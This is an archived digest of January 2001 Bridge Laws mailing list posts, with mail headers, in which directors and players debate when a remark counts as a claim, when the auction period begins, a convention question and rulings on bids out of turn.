demonstrably >suggested by the UI, you had no logical alternative to the diamond >lead, since you were required to follow Law 50D1. Assuming the oppos call the TD at the right time, then of course legally the TD can stop the diamond lead being forced since the DJ is an MPC unless the TD "designates otherwise" [L50]. So perhaps the question is, should the TD designate otherwise? Of course, if the players do not call the TD at the time .... -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 25 00:24:41 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0ODOGI27713 for bridge-laws-outgoing; Thu, 25 Jan 2001 00:24:16 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from finch-post-11.mail.demon.net (finch-post-11.mail.demon.net [194.217.242.39]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0ODO5t27701 for ; Thu, 25 Jan 2001 00:24:06 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by finch-post-11.mail.demon.net with smtp (Exim 2.12 #1) id 14LPu3-0000JE-0B for bridge-laws@rgb.anu.edu.au; Wed, 24 Jan 2001 13:24:01 +0000 Message-ID: Date: Wed, 24 Jan 2001 04:12:57 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] Exposed Card before auction begins (?) References: <00da01c08514$6f2045c0$9a9c1e18@san.rr.com> <00da01c08514$6f2045c0$9a9c1e18@san.rr.com> <3.0.2.32.20010124022224.010ceae8@mail.chello.nl> In-Reply-To: <3.0.2.32.20010124022224.010ceae8@mail.chello.nl> MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Anton Witzen writes >well, as i see it (in our ducth lawbook 17 says that if one of the players >of the partnership looks at his cards......... >and the Da putting open on the table is looking at the cards (is that true???) >then bidding has started for them; I understand this but it does not really seem to fit with the English. Looking at the face of a card seems a positive action to me, not the same as accidentally seeing it because it fell over. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 25 00:24:41 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0ODOQA27719 for bridge-laws-outgoing; Thu, 25 Jan 2001 00:24:26 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from finch-post-12.mail.demon.net (finch-post-12.mail.demon.net [194.217.242.41]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0ODO8t27706 for ; Thu, 25 Jan 2001 00:24:09 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by finch-post-12.mail.demon.net with smtp (Exim 2.12 #1) id 14LPu4-0009su-0C for bridge-laws@rgb.anu.edu.au; Wed, 24 Jan 2001 13:24:02 +0000 Message-ID: Date: Wed, 24 Jan 2001 04:15:24 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] Fw: wbf brown sticker question References: <001201c08572$7416ef80$b42b7bd5@dodona> In-Reply-To: <001201c08572$7416ef80$b42b7bd5@dodona> MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Grattan Endicott writes >[Copied for information] > >> Grattan Endicott> <=> >> "If you are foolish enough to be contented, >> don't show it, but grumble with the rest." >> ~ Jerome K. Jerome >> <===> >> >> > >> > I have just read an article of yours on WBF >> > conventions on David Stevenson's page and >> > have a question. If I play a 2D opening as a >> > 5-5 major/minor two suiter is it allowed (as >> > a multi variant) or is it banned (because the >> > anchor suit is unknown)? Obviously I am missing something. Why does Jerome K Jerome want to play this 2D opening? -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 25 00:25:04 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0ODOvu27749 for bridge-laws-outgoing; Thu, 25 Jan 2001 00:24:57 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from stmpy-4.cais.net (stmpy-4.cais.net [205.252.14.74]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0ODOdt27721 for ; Thu, 25 Jan 2001 00:24:41 +1100 (EST) Received: from elandau.cais.com (207-176-64-97.dup.cais.net [207.176.64.97]) by stmpy-4.cais.net (8.11.1/8.11.1) with ESMTP id f0ODOY676841 for ; Wed, 24 Jan 2001 08:24:35 -0500 (EST) Message-Id: <4.3.2.7.1.20010124081904.00ab7340@127.0.0.1> X-Sender: elandau/pop.cais.com@127.0.0.1 X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Wed, 24 Jan 2001 08:26:19 -0500 To: Bridge Laws Discussion List From: Eric Landau Subject: Re: [BLML] Claim? In-Reply-To: <002601c084de$06bb05a0$5243073e@pbncomputer> References: <200101191537.KAA21799@freenet10.carleton.ca> <001601c082b1$fa8de780$ec167bd5@pbncomputer> <002101c0830a$91a9a660$56991e18@san.rr.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 08:43 PM 1/22/01, David wrote: >Suppose that someone who knew nothing about >bridge, but understood English, were confronted with this question: > >The Laws say that a statement to the effect that a player's side will >win a certain number of tricks is a claim. A player has just stated that >his side will win twelve tricks. Has this player made a claim? > >and suppose this person learned that apparently, a group of people who >have as a special interest the Laws of bridge were unable to reach a >consensus on this point. Would he not be justified in concluding that >this group of people must consist, at least in part, of lunatics? If I were to tell that same hypothetical person that it was "raining cats and dogs" outside, would he not be justified in seeking to have me remanded to a mental institution? The point at issue seems to be: If someone says something which, taken literally, means A, but he intended it to mean B, and everyone within earshot understood it to mean B, which does it mean, A or B? Eric Landau elandau@cais.com APL Solutions, Inc. elandau@acm.org 1107 Dale Drive (301) 589-4621 Silver Spring MD 20910-1607 Fax (301) 589-4618 -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 25 00:39:56 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0ODde127918 for bridge-laws-outgoing; Thu, 25 Jan 2001 00:39:40 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from stmpy-5.cais.net (stmpy-5.cais.net [205.252.14.75]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0ODdWt27911 for ; Thu, 25 Jan 2001 00:39:33 +1100 (EST) Received: from elandau.cais.com (207-176-64-97.dup.cais.net [207.176.64.97]) by stmpy-5.cais.net (8.11.1/8.11.1) with ESMTP id f0ODdSJ14584 for ; Wed, 24 Jan 2001 08:39:28 -0500 (EST) Message-Id: <4.3.2.7.1.20010124083127.00b21200@127.0.0.1> X-Sender: elandau/pop.cais.com@127.0.0.1 X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Wed, 24 Jan 2001 08:41:12 -0500 To: Bridge Laws Discussion List From: Eric Landau Subject: Re: [BLML] Claim? In-Reply-To: <000f01c084f7$56da27a0$37c188d1@kay> References: <200101230259.SAA25487@mailhub.irvine.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 11:45 PM 1/22/01, Nelson/Kay wrote: >Well, let's see. Declarer at 4S, Vul, says: "We're cold >for 6, partner." > >East, a dirty rotten BL, says: "That's a claim, what's >your line of play?" > >Now one of two things happens: >1. Declarer is cold for 6 and states how he will take >them, > and scores the slam. >OR >2. Declarer was blowing smoke and can't make 6, but is > able to state a line of play where he makes 5 with >normal > play, and racks up 650. > >Just how to you see that the evil BL has damaged the >poor, >innocent Declarer? A dirty rotten BL would know better than to say any such thing. He would say "Director!" When the TD arrives, he would say, "Declarer has claimed and has not stated any line of play. I insist you rule accordingly." Eric Landau elandau@cais.com APL Solutions, Inc. elandau@acm.org 1107 Dale Drive (301) 589-4621 Silver Spring MD 20910-1607 Fax (301) 589-4618 -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 25 00:40:12 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0ODe6M27941 for bridge-laws-outgoing; Thu, 25 Jan 2001 00:40:06 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from hotmail.com (oe29.law8.hotmail.com [216.33.240.86]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0ODdxt27932 for ; Thu, 25 Jan 2001 00:40:00 +1100 (EST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Wed, 24 Jan 2001 05:39:51 -0800 X-Originating-IP: [63.27.104.222] From: "Roger Pewick" To: "blml" References: <200101182216.OAA27032@mailhub.irvine.com><01af01c081ca$1d6f8a80$56991e18@san.rr.com><3.0.6.32.20010119112619.007e4210@ux1.cts.eiu.edu><3.0.6.32.20010119214642.007b13a0@eiu.edu> <3.0.6.32.20010123144656.007c53b0@ux1.cts.eiu.edu> Subject: Re: [BLML] Claim? Date: Wed, 24 Jan 2001 01:02:20 -0600 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2314.1300 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Message-ID: X-OriginalArrivalTime: 24 Jan 2001 13:39:51.0777 (UTC) FILETIME=[20B37D10:01C0860B] Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk ----- Original Message ----- From: Grant Sterling To: Roger Pewick Sent: Tuesday, January 23, 2001 2:46 PM Subject: Re: [BLML] Claim? | Again, if you wish to take this to the list you can, or you can | leave it private, at your option. snip | >a] words said out of innocence can have unintended consequences, so can | >words not intended in innocence This seems to go to an important issue: | Sure. And, as I said, there are ample legal remedies in when | opponents are damaged by those words, innocently intended or not To assert that he is entitled to say the words because the opponents are entitled to redress if it damages them imo is a bad attitude to take. This places the opponents in the situation perpetrated upon them to go through the 'socially unacceptable' process of requesting ethics redress instead of claim redress and places upon them a burden to wrestle with whether to ask for redress. For [civil minded, in particular] players, to put the onus on them is an unfair burden in order to save the ego of the irresponsible. . May I suggest that a player is not entitled to say such words unless he intends to claim. So if he feels compelled to speak, let him be careful to not breach the claim. roger pewick | >roger | | Sincerely, | Grant | -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 25 00:53:00 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0ODqmN28220 for bridge-laws-outgoing; Thu, 25 Jan 2001 00:52:48 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from stmpy-1.cais.net (stmpy-1.cais.net [205.252.14.71]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0ODqft28214 for ; Thu, 25 Jan 2001 00:52:42 +1100 (EST) Received: from elandau.cais.com (207-176-64-97.dup.cais.net [207.176.64.97]) by stmpy-1.cais.net (8.11.1/8.11.1) with ESMTP id f0ODqc863800 for ; Wed, 24 Jan 2001 08:52:38 -0500 (EST) Message-Id: <4.3.2.7.1.20010124085024.00b21100@127.0.0.1> X-Sender: elandau/pop.cais.com@127.0.0.1 X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Wed, 24 Jan 2001 08:54:22 -0500 To: Bridge Laws Discussion List From: Eric Landau Subject: Re: [BLML] Claim? In-Reply-To: <002201c0853f$6c3aca80$2ec188d1@kay> References: <200101230259.SAA25487@mailhub.irvine.com> <5.0.2.1.0.20010123064525.00a2b610@mail.rz.uni-duesseldorf.de> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 08:21 AM 1/23/01, Nelson/Kay wrote: > > >Well, let's see. Declarer at 4S, Vul, says: "We're >cold > > >for 6, partner." > > > > > >East, a dirty rotten BL, says: "That's a claim, >what's > > >your line of play?" > > > > The tricky point here is, that the player has to >state his line of play > > during the claim ("accompanied"). TO ask how to play >would be fine, but > > what folllows is not part of the claim anymore. > >If I were Declarer in this scenario, I would argue that >I would >have given a line of play, but East jumped in before I >got the >chance (which would not be the first time that had >happened >to me). But, in the scenario originally set, you would be lying. I don't see how one can justify a law that appears to lead to unacceptable consequences on the grounds that a player can avoid those consequences by telling a flat-out lie to the TD. Eric Landau elandau@cais.com APL Solutions, Inc. elandau@acm.org 1107 Dale Drive (301) 589-4621 Silver Spring MD 20910-1607 Fax (301) 589-4618 -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 25 01:01:24 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0OE1DW28309 for bridge-laws-outgoing; Thu, 25 Jan 2001 01:01:13 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from gadolinium.btinternet.com (gadolinium.btinternet.com [194.73.73.111]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0OE17t28305 for ; Thu, 25 Jan 2001 01:01:08 +1100 (EST) Received: from [213.1.97.185] (helo=pbncomputer) by gadolinium.btinternet.com with smtp (Exim 3.03 #83) id 14LQTu-00037I-00 for bridge-laws@rgb.anu.edu.au; Wed, 24 Jan 2001 14:01:03 +0000 Message-ID: <000b01c0860e$1a363c40$b96101d5@pbncomputer> From: "David Burn" To: References: <4.3.2.7.1.20010118084518.00b11820@127.0.0.1> <01C080C7.541B5AE0@MIKE> <4.3.2.7.1.20010118084518.00b11820@127.0.0.1> <4.3.2.7.1.20010121181115.00b20350@127.0.0.1> Subject: Re: [BLML] Let's get back to the easy stuff Date: Wed, 24 Jan 2001 14:00:21 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 8bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk DWS wrote: > If you bid out of turn with a 16 HCP hand, silencing partner, then you > can have no conceivable notion that this would work to your benefit, so > L72B1 cannot be used. Now that partner is silenced, you are entitled by > L72A5 to do your best to recover the situation, and that includes > finishing in a situation where you have gained from the BOOT. Funny you should say that. The other day, a resourceful operator in the Ł10 per 100 game at TGR's held these cards: A K2 63 AKQJ8754 (a 17 count, but the jack of clubs proved irrelevant). His partner was no great striker of the ball, so rather than get involved in an auction beginning with 1C or 2C, he decided to open 1D and rebid 3NT after his partner's response of 1H. A spade lead (from Qxxx) allowed eleven tricks to be made; a diamond lead (from K10xxx) would have defeated the contract. Now, on this occasion the opening bid was at the player's turn, thus perfectly legal. But it is certainly conceivable that had it not been the player's turn, an "accidental" opening bid of 1D out of turn followed by a "guess" at 3NT at his actual turn could (and would) have worked to his benefit. David Burn London, England -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 25 01:45:24 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0OEipB04702 for bridge-laws-outgoing; Thu, 25 Jan 2001 01:44:51 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from anchor-post-30.mail.demon.net (anchor-post-30.mail.demon.net [194.217.242.88]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0OEiWt04616 for ; Thu, 25 Jan 2001 01:44:33 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by anchor-post-30.mail.demon.net with smtp (Exim 2.12 #1) id 14LR9t-0009iA-0U for bridge-laws@rgb.anu.edu.au; Wed, 24 Jan 2001 14:44:28 +0000 Message-ID: Date: Wed, 24 Jan 2001 14:22:18 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] penalties AND UI - too much ? References: <01C082FA.E03553C0.tsvecfob@iol.ie> <3A6B24AC.273ACB03@village.uunet.be> <3A6DB2B9.30459672@village.uunet.be> <58ct6t4k87dtl1ftnf0pfdudtka8n7tssi@4ax.com> In-Reply-To: <58ct6t4k87dtl1ftnf0pfdudtka8n7tssi@4ax.com> MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Brian Meadows writes >On Tue, 23 Jan 2001 17:35:05 +0100, Herman deWael wrote: > >>I was merely saying that in this thread, we do not need the >>input of the player, when that player says "this law >>stinks". >>I believe we can all agree on that. Since you seem to be flogging this, Herman, no I don't agree. It is just as useful to know that Brian thinks this Law stinks as whether you do, or I do, or Grattan does. >I still believe it did no harm, and quite possibly some good, if >one post stated that explicitly. As far as my reading of this >list goes, that point had not been made at the time when I wrote >my original post. Given the amount of bandwidth that is regularly >expended on discussing the finer points of English grammar, I >think BLML can take the overhead. ;-) Yes. There are some problems with BLML, in my view, and I would put posts from people who wish to score debating points up near the top. Mixing threads completely between what the current interpretation is, and what the Law should be, seems something we cannot get away from, and causes a lot of trouble, because people confuse them. As against that, to complain because someone does not like a Law seems most unfair. There have been a *lot* of posts as to why we do not like Laws. For example, I am not wholly convinced that the majority of the Bridge World misunderstand what a claim is, despite the total rudeness in support of the minority view. But if we are finally convinced that the minority view is right, then in my view it needs to be changed, and soon. So if Brian wants to explain that he thinks a Law is awful, then why not? -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 25 01:45:24 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0OEiga04674 for bridge-laws-outgoing; Thu, 25 Jan 2001 01:44:42 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from anchor-post-30.mail.demon.net (anchor-post-30.mail.demon.net [194.217.242.88]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0OEiWt04617 for ; Thu, 25 Jan 2001 01:44:33 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by anchor-post-30.mail.demon.net with smtp (Exim 2.12 #1) id 14LR9t-0009iD-0U for bridge-laws@rgb.anu.edu.au; Wed, 24 Jan 2001 14:44:28 +0000 Message-ID: Date: Wed, 24 Jan 2001 14:31:58 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] Exposed Card before auction begins (?) References: In-Reply-To: MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Gordon Bower writes > > >On Tue, 23 Jan 2001, Ed Reppert wrote: >[snipped a bit] >> of my cards. Law 17A says, in its entirety: "The auction period on a >> deal begins for a side when either partner looks at the face of his >> cards." So it refers to all my cards, not just one. Law 7B1 says >> "Each player counts his cards face down to be sure he has exactly 13; >> after that, and before making a call, he must inspect the face of his >> cards." So Law 7B1 and Law 17 go together. A player *must* inspect >> the face of his cards - all of them. As soon as he does so (if before >> his partner) the auction begins for his side. If he hasn't done so, >> and his partner hasn't done so, the auction hasn't started yet for >> that side (it may have started for the other side.) IMO, of course. > >I agree, almost. > >And what happens if I drop one, or a pair of cards stick together, and I >open the bidding after I have inspected only 12 of my cards? It might not >be a BAD thing for this to be an infraction, given the weird auctions that >result when people find hidden cards and then find bizarre ways, usually >involving lots of UI, to convey the new info to their partners. I don't >seriously believe, however, that the lawmakers intend for it to be >possible for someone to make a call and have the auction period still not >begin. (What if partner and I both have a card hidden, and we don't notice >until dummy comes down? Was there never an auction period at all? Does it >begin after it has ended?) > >If we want to we could patch that up, by saying the auction period begins >when the face of the cards is inspected or a call is made (whichever comes >first); or we could leave it as it is (without inserting the word "all" >into L17 which it sounds like you want to do) and trust directors to use >common sense. > >Or, we could accept that seeing the face of a single card is sufficient to >start the auction period. I am happy to do this, as it avoids the whole >controversy and makes it perfectly clear how to treat the exposed card >during the rest of the auction. Or, we could accept that looking at the face of one of the cards starts the auction period. This seems to fit with the actual wording. I suggest that once you have looked at and thus inspected the face fo a card, the auction has started. but this is a deliberate action. Dropping one card accidentally face-up does not seem the same thing. It also seems reasonable [why can I hear the baying of hounds behind me] that it should be ruled this way, which feels correct. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 25 03:31:46 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0OGUu213461 for bridge-laws-outgoing; Thu, 25 Jan 2001 03:30:56 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from ux1.cts.eiu.edu (ux1.cts.eiu.edu [139.67.8.3]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0OGUnt13455 for ; Thu, 25 Jan 2001 03:30:49 +1100 (EST) Received: from Panther1204.eiu.edu (Panther1204.eiu.edu [139.67.12.189]) by ux1.cts.eiu.edu (8.9.1b+Sun/8.8.7) with SMTP id KAA28814 for ; Wed, 24 Jan 2001 10:32:02 -0600 (CST) Message-Id: <3.0.6.32.20010124103010.007b7a20@ux1.cts.eiu.edu> X-Sender: cfgcs@ux1.cts.eiu.edu X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32) Date: Wed, 24 Jan 2001 10:30:10 -0600 To: From: Grant Sterling Subject: Re: [BLML] Claim? In-Reply-To: References: <3.0.6.32.20010123151337.00806100@ux1.cts.eiu.edu> <000f01c084f7$56da27a0$37c188d1@kay> <200101230259.SAA25487@mailhub.irvine.com> <000f01c084f7$56da27a0$37c188d1@kay> <3.0.6.32.20010123151337.00806100@ux1.cts.eiu.edu> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 07:34 PM 1/23/2001 -0500, Ed Reppert wrote: >-----BEGIN PGP SIGNED MESSAGE----- >Hash: SHA1 > >At 3:13 PM -0600 1/23/01, Grant Sterling wrote: >>He can't state how he will take them. It's too late for a >>clarification statement. Even though his intended line was cold for >>6, his intended line is now irrelevant. If there is a careless or >>inferior line of play that gives him only 5, even a really stupid >>such line of play, he will be stuck with it. > >I fail to see how someone who thinks he is *not* claiming can be >expected to state a line of play until he knows that his remark is a >claim. Or are you planning to give, before each session of play or >each tournament, a written test on the laws of bridge to each player, >to ensure he knows them? This is exactly my point. A player who had no intention of claiming cannot be expected to give a clarification statement. If you take a literal reading of L68A and demand that an obvious non-claim be treated as a claim, then you cannot possibly justify taking a less-than-literal reading of L68C which demands that the clarification statement come 'at once'. If the fact that the player had no intention of claiming is irrelevant to whether he has claimed, it must be equally irrelevant as to whether he has made his clarification statement 'at once'. L70D disallows any later correction of a clarification statement [well, disallows it whenever it would be helpful to declarer!], so once the non-claim is treated as a claim it is too late for declarer to clarify. If your comment about demanding a written test on the laws of bridge was meant to suggest that since the player cannot have been aware that he was claiming, we should in all justice allow him to give a clarification statement even though the law appears to say that he cannot, I would say that a far better application of justice would be to admit that he hasn't claimed in the first place, even though the law appears to say that he has. >Regards, > >Ed Respectfully, Grant Sterling -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 25 03:31:56 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0OGVqv13482 for bridge-laws-outgoing; Thu, 25 Jan 2001 03:31:52 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from resu1.ulb.ac.be (resu1.ulb.ac.be [164.15.59.200]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0OGVet13472 for ; Thu, 25 Jan 2001 03:31:44 +1100 (EST) Received: from mach.vub.ac.be (mach.ulb.ac.be [164.15.128.3]) by resu1.ulb.ac.be (8.8.8/3.17.0.ap (resu)) id RAA29667; Wed, 24 Jan 2001 17:27:32 +0100 (MET) for Received: from math2-pc1 (math2-pc1.ulb.ac.be [164.15.34.6]) by mach.vub.ac.be (8.9.3/3.13.2.ap (mach)) id RAA04032; Wed, 24 Jan 2001 17:31:25 +0100 (MET) for Message-Id: <3.0.6.32.20010124174353.00851110@pop.ulb.ac.be> X-Sender: agot@pop.ulb.ac.be X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32) Date: Wed, 24 Jan 2001 17:43:53 +0100 To: "David Burn" , From: alain gottcheiner Subject: Re: [BLML] Let's get back to the easy stuff In-Reply-To: <000b01c0860e$1a363c40$b96101d5@pbncomputer> References: <4.3.2.7.1.20010118084518.00b11820@127.0.0.1> <01C080C7.541B5AE0@MIKE> <4.3.2.7.1.20010118084518.00b11820@127.0.0.1> <4.3.2.7.1.20010121181115.00b20350@127.0.0.1> Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by rgb.anu.edu.au id f0OGVlt13475 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 14:00 24/01/01 -0000, David Burn wrote: AG : David has found the good example. It tells us that, in TD office as at the table, points are what they are, namely schmoints. The only question to ask is 'could he have known ?'. In David's example, he could. Whether he was doing it deliberately or whether he was operating *as usual* does not matter ; he just *could*. Adjust. Hmm, by the way, does one have to alert BOOTs ? I sometimes play a strong diamond system. So it would be legitimate in this system to open 1D, and I suppose I could take the plunge to 3NT if I made an OOOT. Now how are the opponents to guess there is something special about the 1D opening ? May they enquire about bids that were, according to the law, never made ? A. >Funny you should say that. The other day, a resourceful operator in the >Ł10 per 100 game at TGR's held these cards: > >A K2 63 AKQJ8754 (a 17 count, but the jack of clubs proved >irrelevant). His partner was no great striker of the ball, so rather >than get involved in an auction beginning with 1C or 2C, he decided to >open 1D and rebid 3NT after his partner's response of 1H. A spade lead >(from Qxxx) allowed eleven tricks to be made; a diamond lead (from >K10xxx) would have defeated the contract. > >Now, on this occasion the opening bid was at the player's turn, thus >perfectly legal. But it is certainly conceivable that had it not been >the player's turn, an "accidental" opening bid of 1D out of turn >followed by a "guess" at 3NT at his actual turn could (and would) have >worked to his benefit. > >David Burn >London, England > > >-- >======================================================================== 